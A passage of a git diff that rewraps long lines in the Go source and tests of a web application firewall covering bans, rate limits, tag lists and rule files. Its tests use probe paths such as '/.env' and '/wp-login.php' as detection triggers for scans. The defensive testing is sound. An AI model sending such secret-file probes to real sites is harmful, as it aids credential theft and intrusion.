len(r.Header.Values("Authorization")) > 0, HasCookie: len(r.Header.Values("Cookie")) > 0, Action: requestlog.ActionForward, @@ -191,7 +197,10 @@ func (rq *request) check(ctx context.Context) *refusal { action == requestlog.ActionBlockedByCoreRuleSet: return &refusal{status: http.StatusForbidden, action: action} case action == requestlog.ActionRequestHeaderTooLarge: - return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action} + return &refusal{ + status: http.StatusRequestHeaderFieldsTooLarge, + action: action, + } default: return rq.banResponse(action) } @@ -281,7 +290,11 @@ func (rq *request) finish() { func (rq *request) writeLine() { err := requestlog.Write(rq.h.requestLog, &rq.line) if err != nil { - rq.h.processLog.Error("writing the request log failed", "error", err.Error()) + rq.h.processLog.Error( + "writing the request log failed", + "error", + err.Error(), + ) } } @@ -315,7 +328,11 @@ func (rq *request) addToHistory() { BlockedByCoreRuleSet: rq.blockedByCoreRuleSet, } - rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request) + rq.h.limiter.AddToHistory( + rq.h.clientGroup(rq.client), + rq.h.now(), + request, + ) rq.h.metrics.Offences(request) answer, found := rq.answerAtTheEnd() @@ -353,8 +370,10 @@ func (rq *request) countAnomalies() { func anomalyThresholdsSet(cfg *config.Config) bool { off := anomaly.Thresholds{} - return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off || - cfg.AnomalyTotal != off || cfg.AnomalyWatch != off + return cfg.AnomalyClient != off || cfg.AnomalyNet != off || + cfg.AnomalyASN != off || + cfg.AnomalyTotal != off || + cfg.AnomalyWatch != off } // answerAtTheEnd returns, for a client that was looked up, the lookup's diff --git a/internal/waf/requestlog_test.go b/internal/waf/requestlog_test.go index c4886ab..2a77088 100644 --- a/internal/waf/requestlog_test.go +++ b/internal/waf/requestlog_test.go @@ -92,8 +92,10 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) { } if strings.Contains(out.text(), "secret") { - t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s", - out.text()) + t.Errorf( + "a value of Authorization, Cookie or Set-Cookie is logged:\n%s", + out.text(), + ) } } @@ -102,7 +104,10 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) { func wantFullLine(t *testing.T, line logLine) { t.Helper() - headers := map[string]string{"accept": "text/html", "x-custom": "one, two"} + headers := map[string]string{ + "accept": "text/html", + "x-custom": "one, two", + } want := withTimings(line, requestlog.Line{ Type: requestType, WAFLine: requestlog.WAFLineReport, @@ -120,8 +125,13 @@ func wantFullLine(t *testing.T, line logLine) { Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8, }, }) - if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" { - t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want) + if !reflect.DeepEqual(line.Line, want) || + line.RequestID == "from-traefik" { + t.Errorf( + "log line\n%+v\nwant\n%+v, with a new request id", + line.Line, + want, + ) } } @@ -140,7 +150,11 @@ func wantBareLine(t *testing.T, line logLine) { Action: requestlog.ActionForward, }) if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" { - t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want) + t.Errorf( + "log line\n%+v\nwant\n%+v, with a request id", + line.Line, + want, + ) } for _, name := range []string{ @@ -163,7 +177,9 @@ func withTimings(line logLine, want requestlog.Line) requestlog.Line { return want } -func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) { +func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader( + t *testing.T, +) { t.Parallel() const hasAuthorization, hasCookie = "has_authorization", "has_cookie" @@ -186,8 +202,13 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) { _, otherPresent := line.fields[tc.other] if line.fields[tc.field] != true || otherPresent { - t.Errorf("log line has %s %v and %s %v, want true and none", - tc.field, line.fields[tc.field], tc.other, line.fields[tc.other]) + t.Errorf( + "log line has %s %v and %s %v, want true and none", + tc.field, + line.fields[tc.field], + tc.other, + line.fields[tc.other], + ) } }) } @@ -206,10 +227,16 @@ func TestTimingsAreInOrder(t *testing.T) { _, _ = io.WriteString(w, "done") }) - addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{ - trustedProxies: trustLocalhost, - denyNets: denied, - }) + addr, out, server := startProxyWithClock( + t, + app.URL, + "", + time.Now, + map[string]string{ + trustedProxies: trustLocalhost, + denyNets: denied, + }, + ) // Each log line is waited for before the next request, so that the // lines are in order. @@ -243,8 +270,12 @@ func TestTimingsAreInOrder(t *testing.T) { // The checks end before the request is handed to the app. if checks+upstream > total { - t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d", - total, checks, upstream) + t.Errorf( + "timings in microseconds: total %d, checks %d, upstream total %d", + total, + checks, + upstream, + ) } if *refused.DurationChecksMS > refused.DurationTotalMS { @@ -269,7 +300,12 @@ func wantTimings(t *testing.T, line logLine, want ...string) { slices.Sort(want) if !slices.Equal(got, want) { - t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want) + t.Errorf( + "log line of %s has timings %v, want %v", + line.Path, + got, + want, + ) } } @@ -280,23 +316,43 @@ func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) { t.Helper() if line.Heuristic != heuristic || - !reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) { - t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s", - line.Heuristic, line.HeuristicFigures, heuristic, figures) + !reflect.DeepEqual( + line.HeuristicFigures, + decodeFigures(t, figures), + ) { + t.Errorf( + "log line has heuristic %q with heuristic_figures %v, want %q with %s", + line.Heuristic, + line.HeuristicFigures, + heuristic, + figures, + ) } } // wantAfterAnswerHeuristic checks after_answer_heuristic and // after_answer_heuristic_figures as wantHeuristic checks heuristic and // heuristic_figures. -func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) { +func wantAfterAnswerHeuristic( + t *testing.T, + line logLine, + heuristic, figures string, +) { t.Helper() if line.AfterAnswerHeuristic != heuristic || - !reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) { - t.Errorf("log line has after_answer_heuristic %q with "+ - "after_answer_heuristic_figures %v, want %q with %s", - line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures) + !reflect.DeepEqual( + line.AfterAnswerHeuristicFigures, + decodeFigures(t, figures), + ) { + t.Errorf( + "log line has after_answer_heuristic %q with "+ + "after_answer_heuristic_figures %v, want %q with %s", + line.AfterAnswerHeuristic, + line.AfterAnswerHeuristicFigures, + heuristic, + figures, + ) } } diff --git a/internal/waf/routewatchtags.go b/internal/waf/routewatchtags.go index 1814506..4c15af4 100644 --- a/internal/waf/routewatchtags.go +++ b/internal/waf/routewatchtags.go @@ -20,12 +20,20 @@ type routeWatchTags struct{} func (routeWatchTags) name() string { return "routewatch_tags" } -func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict { +func (routeWatchTags) check( + ctx context.Context, + rq *request, + _ time.Time, +) *verdict { if rq.h.routeWatch == nil { return nil } - route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client) + route, missing := rq.h.routeWatch.Route( + ctx, + rq.h.clientGroup(rq.client), + rq.client, + ) if missing != "" { rq.line.RouteWatchTagsMissing = string(missing) @@ -35,7 +43,9 @@ func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verd rq.addTag(config.PrefixTagPrefix + route.Netblock.String()) if route.ASN != 0 { - rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10)) + rq.addTag( + config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10), + ) } return nil diff --git a/internal/waf/routewatchtags_test.go b/internal/waf/routewatchtags_test.go index f887018..bfbb481 100644 --- a/internal/waf/routewatchtags_test.go +++ b/internal/waf/routewatchtags_test.go @@ -67,13 +67,21 @@ func waitForRouteWatch( deadline := time.Now().Add(5 * time.Second) for { - _, missing := server.RouteWatch.Route(context.Background(), client, addr) + _, missing := server.RouteWatch.Route( + context.Background(), + client, + addr, + ) if missing == "" { return } if time.Now().After(deadline) { - t.Fatalf("routewatch's answer about %s not kept: %q", from, missing) + t.Fatalf( + "routewatch's answer about %s not kept: %q", + from, + missing, + ) } time.Sleep(time.Millisecond) @@ -92,8 +100,14 @@ func wantTagsMissing(t *testing.T, line logLine, want string) { func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) { t.Parallel() - url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}}) - s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url}) + url := startRouteWatch( + t, + map[string]standInRoute{fromDE: {prefixDE, 64496}}, + ) + s, server, _ := startWithLookups( + t, + map[string]string{routeWatchURL: url}, + ) waitForRouteWatch(t, server, fromDE, 32) @@ -105,14 +119,21 @@ func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) { func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) { t.Parallel() - url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}}) + url := startRouteWatch( + t, + map[string]standInRoute{fromKP: {prefixKP, 64511}}, + ) s, _, server := startWithClock(t, "", map[string]string{ lookupSource: off, routeWatchURL: url, denyNets: fromKP, }) waitForRouteWatch(t, server, fromKP, 32) - line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + fromKP, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`) wantTags(t, line, "asn=64511", "prefix="+prefixKP) } @@ -134,7 +155,11 @@ func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) { func TestUnsetRouteWatchChangesNothing(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{lookupSource: off}) + s, _, server := startWithClock( + t, + "", + map[string]string{lookupSource: off}, + ) if server.RouteWatch != nil { t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset") @@ -159,8 +184,11 @@ func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) { lookupSource: off, routeWatchURL: "http://224.0.0.1", }) - wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), - "no_answer_yet") + wantTagsMissing( + t, + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + "no_answer_yet", + ) deadline := time.Now().Add(5 * time.Second) @@ -218,15 +246,22 @@ func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) { waitForRouteWatch(t, server, fromKP, 32) waitForRouteWatch(t, server, fromDE, 32) - wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), - "tag_deny", `{"tag": "prefix=`+prefixKP+`"}`) + wantHeuristic( + t, + s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), + "tag_deny", + `{"tag": "prefix=`+prefixKP+`"}`, + ) s.get(fromDE, http.StatusOK, requestlog.ActionForward) } func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) { t.Parallel() - url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}}) + url := startRouteWatch( + t, + map[string]standInRoute{fromV6: {prefixV6, 64496}}, + ) s, _, server := startWithClock(t, "", map[string]string{ lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2", tagLimitPercent: "prefix=" + prefixV6 + ":50", diff --git a/internal/waf/rulefiles.go b/internal/waf/rulefiles.go index e3502a1..4349c14 100644 --- a/internal/waf/rulefiles.go +++ b/internal/waf/rulefiles.go @@ -26,7 +26,11 @@ type ruleFiles struct{} func (ruleFiles) name() string { return "rule_files" } -func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict { +func (ruleFiles) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { matched := rq.h.rules.Match(rq.in) for _, rule := range matched { @@ -48,12 +52,18 @@ func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict { case rules.ActionBlock: rq.blockedByBlockRule = true - return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures} + return &verdict{ + action: requestlog.ActionBlockedByBlockRule, + figures: figures, + } case rules.ActionBan: rq.attack = true return &verdict{ - action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}), + action: rq.banForAttack( + now, + bans.Notes{RuleID: last.ID, Target: last.Target}, + ), figures: figures, } default: diff --git a/internal/waf/rulefiles_test.go b/internal/waf/rulefiles_test.go index 4979e80..5d64ba8 100644 --- a/internal/waf/rulefiles_test.go +++ b/internal/waf/rulefiles_test.go @@ -48,7 +48,10 @@ func TestEachRuleAction(t *testing.T) { wantRuleIDs(t, line, "noted", "probe") if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { - t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want seven days on", + line.BanExpires, + ) } netblock := netip.MustParsePrefix(client + "/32") @@ -83,15 +86,26 @@ func TestEachRuleAction(t *testing.T) { // against the rules, and makes the ban permanent. clk.advance(time.Hour) - line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned) + line = s.get( + client, + http.StatusTooManyRequests, + requestlog.ActionPermanentlyBanned, + ) wantRuleIDs(t, line) if line.BanExpires != permanent { - t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want permanent", + line.BanExpires, + ) } clk.advance(365 * 24 * time.Hour) - s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned) + s.get( + client, + http.StatusTooManyRequests, + requestlog.ActionPermanentlyBanned, + ) } func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) { @@ -101,8 +115,11 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) { rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules), }) - wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward), - "exploitsignature") + wantTags( + t, + s.request(client, "/noted", http.StatusOK, requestlog.ActionForward), + "exploitsignature", + ) wantTags(t, s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionBlockedByBlockRule), "exploitsignature") wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward)) @@ -117,11 +134,21 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) { line := s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionBlockedByBlockRule) - wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`) + wantHeuristic( + t, + line, + "rule_files", + `{"rule_id": "blocked", "rule_action": "block"}`, + ) line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned) - wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`) + wantHeuristic( + t, + line, + "rule_files", + `{"rule_id": "probe", "rule_action": "ban"}`, + ) } func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { @@ -136,7 +163,10 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned) if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) { - t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want an hour on", + line.BanExpires, + ) } // Once that ban has run out without a request, the client is served, @@ -147,7 +177,10 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionPermanentlyBanned) if line.BanExpires != permanent { - t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want permanent", + line.BanExpires, + ) } } @@ -167,7 +200,12 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) { }) // A client in SWW_ALLOW_NETS is not checked. - line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward) + line := s.request( + allowed, + "/.env", + http.StatusOK, + requestlog.ActionForward, + ) wantRuleIDs(t, line) // A probe over the rate limit breaks the limit before any rule sees @@ -184,7 +222,12 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) { // A client the rate limits do not apply to is still checked. s.get(exempt, http.StatusOK, requestlog.ActionForward) - s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.request( + exempt, + "/.env", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) } func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { @@ -195,11 +238,21 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { mode: observe, }) - line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + "/blocked", + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule) wantRuleIDs(t, line, "blocked") - line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward) + line = s.request( + client, + "/.env", + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned) wantRuleIDs(t, line, "probe") @@ -226,22 +279,55 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) { s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionBlockedByBlockRule) - s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.request( + client, + "/.env", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned) metrics := s.scrape() - wantMetric(t, metrics, - `sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1) - wantMetric(t, metrics, - `sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1) + wantMetric( + t, + metrics, + `sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, + 1, + ) + wantMetric( + t, + metrics, + `sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, + 1, + ) wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2) - wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+ - `instance="app",status_class="4xx"}`, 1) + wantMetric( + t, + metrics, + `sww_requests_total{action="blocked_by_block_rule",`+ + `instance="app",status_class="4xx"}`, + 1, + ) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1) - wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1) - wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1) - wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0) + wantMetric( + t, + metrics, + `sww_offences_total{instance="app",kind="attack"}`, + 1, + ) + wantMetric( + t, + metrics, + `sww_bans_made_total{cause="attack",instance="app"}`, + 1, + ) + wantMetric( + t, + metrics, + `sww_bans_made_total{cause="limit",instance="app"}`, + 0, + ) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) } @@ -252,7 +338,11 @@ func writeRules(t *testing.T, content string) string { dir := t.TempDir() - err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600) + err := os.WriteFile( + filepath.Join(dir, "test.rules"), + []byte(content), + 0o600, + ) if err != nil { t.Fatalf("write the rule file: %v", err) } diff --git a/internal/waf/staticlists_test.go b/internal/waf/staticlists_test.go index e1a09e9..d2aa3d1 100644 --- a/internal/waf/staticlists_test.go +++ b/internal/waf/staticlists_test.go @@ -68,7 +68,11 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) { {listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited}, + { + unlistedAddr, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + }, }) } @@ -87,7 +91,13 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) { tagDeny: denyKP, }) - req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) + req := newRequest( + t, + http.MethodPost, + addr, + "/", + strings.NewReader("a body"), + ) req.Header.Set(forwardedFor, fromDE) wantStatus(t, do(t, req), http.StatusForbidden) @@ -108,7 +118,11 @@ func TestDenyNetsRefusalNamesItsHeuristicAndNetblock(t *testing.T) { s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet}) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`) } @@ -128,7 +142,11 @@ func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) { {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited}, + { + unlistedAddr, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + }, }) } @@ -152,7 +170,11 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) { {listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited}, + { + unlistedAddr, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + }, {fromKP, http.StatusForbidden, requestlog.ActionClientDenied}, }) } @@ -168,7 +190,12 @@ type sentRequest struct { // wantAnswers sends requests to sww at addr one after another and // checks each one's answer and log line. They must be the first requests // sww is sent, since the log lines are matched to them in order. -func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) { +func wantAnswers( + t *testing.T, + addr string, + out *output, + requests []sentRequest, +) { t.Helper() for i, sent := range requests { diff --git a/internal/waf/tagdeny_test.go b/internal/waf/tagdeny_test.go index 220af6d..344930e 100644 --- a/internal/waf/tagdeny_test.go +++ b/internal/waf/tagdeny_test.go @@ -14,7 +14,11 @@ func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) { // in capitals. s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"}) - line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + fromKP, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`) wantTags(t, line, "asn=64511", "country=KP") @@ -26,8 +30,12 @@ func TestTagDenyRefusesAnASNTag(t *testing.T) { s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"}) - wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), - "tag_deny", `{"tag": "asn=64511"}`) + wantHeuristic( + t, + s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied), + "tag_deny", + `{"tag": "asn=64511"}`, + ) s.get(fromDE, http.StatusOK, requestlog.ActionForward) } @@ -41,8 +49,16 @@ func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) { // Each is refused for its tag: none is counted to break the limit of one. for range 3 { - wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied), - "tag_deny", `{"tag": "torexit"}`) + wantHeuristic( + t, + s.get( + fromDE, + http.StatusForbidden, + requestlog.ActionClientDenied, + ), + "tag_deny", + `{"tag": "torexit"}`, + ) } } @@ -58,18 +74,29 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) { }) loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}}) - wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied), - "tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`) + wantHeuristic( + t, + s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied), + "tag_deny", + `{"tag": "dnsbl=`+dnsblZone+`"}`, + ) } func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature", + rulesDir: writeRules( + t, + "noted path log ^/\n", + ), tagDeny: "exploitsignature", }) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) wantTags(t, line, "exploitsignature") } @@ -82,12 +109,20 @@ func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) { tagLists: "vpn=" + vpnList + ",tor=" + torList, tagLimitPercent: "vpn:50,tor:25", }) - loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}}) + loadLists( + t, + server, + map[string][]string{vpnList: {fromDE}, torList: {fromDE}}, + ) // A quarter of 4 requests a minute: the second breaks the limit. s.get(fromDE, http.StatusOK, requestlog.ActionForward) - line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + line := s.get( + fromDE, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) wantPercent(t, "rate_limit_percent", line.RateLimitPercent, line.RateLimitPercentSetting, "25 from "+tagLimitPercent) @@ -106,7 +141,11 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) { // The upload's 100 bytes are over half of 199, 99. line := s.uploadFrom(fromDE) if line.LimitHit != minuteBytes { - t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) + t.Errorf( + "log line has limit_hit %q, want %s", + line.LimitHit, + minuteBytes, + ) } wantPercent(t, "bytes_limit_percent", @@ -116,7 +155,11 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) { // fromKP, which the list does not hold, has the whole limit. line = s.uploadFrom(fromKP) if line.LimitHit != "" { - t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit) + t.Errorf( + "log line for %s has limit_hit %q, want none", + fromKP, + line.LimitHit, + ) } wantPercent(t, "bytes_limit_percent", diff --git a/internal/waf/taglists_test.go b/internal/waf/taglists_test.go index 8bdf305..42b9729 100644 --- a/internal/waf/taglists_test.go +++ b/internal/waf/taglists_test.go @@ -68,8 +68,13 @@ func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) { }) loadLists(t, server, map[string][]string{vpnList: {fromKP}}) - wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied), - "asn=64511", "country=KP", "vpn") + wantTags( + t, + s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied), + "asn=64511", + "country=KP", + "vpn", + ) } func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) { @@ -80,7 +85,11 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) { }) loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}}) - line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied) + line := s.get( + fromKP, + http.StatusForbidden, + requestlog.ActionClientDenied, + ) if line.Heuristic != "deny_nets" { t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic) } @@ -91,9 +100,16 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) { s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) - line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + line = s.get( + fromDE, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) if line.Heuristic != "active_ban" { - t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic) + t.Errorf( + "log line has heuristic %q, want active_ban", + line.Heuristic, + ) } wantTags(t, line, "vpn") diff --git a/internal/waf/trappaths.go b/internal/waf/trappaths.go index c729ee0..303db0f 100644 --- a/internal/waf/trappaths.go +++ b/internal/waf/trappaths.go @@ -21,7 +21,11 @@ type trapPaths struct{} func (trapPaths) name() string { return "trap_paths" } -func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict { +func (trapPaths) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { path := rules.Path(rq.in) if !slices.Contains(rq.h.config.TrapPaths, path) && !slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) { diff --git a/internal/waf/trappaths_test.go b/internal/waf/trappaths_test.go index 5222195..5b4b98d 100644 --- a/internal/waf/trappaths_test.go +++ b/internal/waf/trappaths_test.go @@ -39,15 +39,27 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) { } // A client in SWW_ALLOW_NETS is not checked. - s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) + s.request( + allowed, + "/xmlrpc.php", + http.StatusOK, + requestlog.ActionForward, + ) // The query is not part of the path. - line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests, - requestlog.ActionTemporarilyBanned) + line := s.request( + client, + "/wp-login.php?redirect_to=x", + http.StatusTooManyRequests, + requestlog.ActionTemporarilyBanned, + ) wantRuleIDs(t, line) if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { - t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want seven days on", + line.BanExpires, + ) } netblock := netip.MustParsePrefix(client + "/32") @@ -77,36 +89,63 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) { } // The next request is refused under the ban, and makes it permanent. - 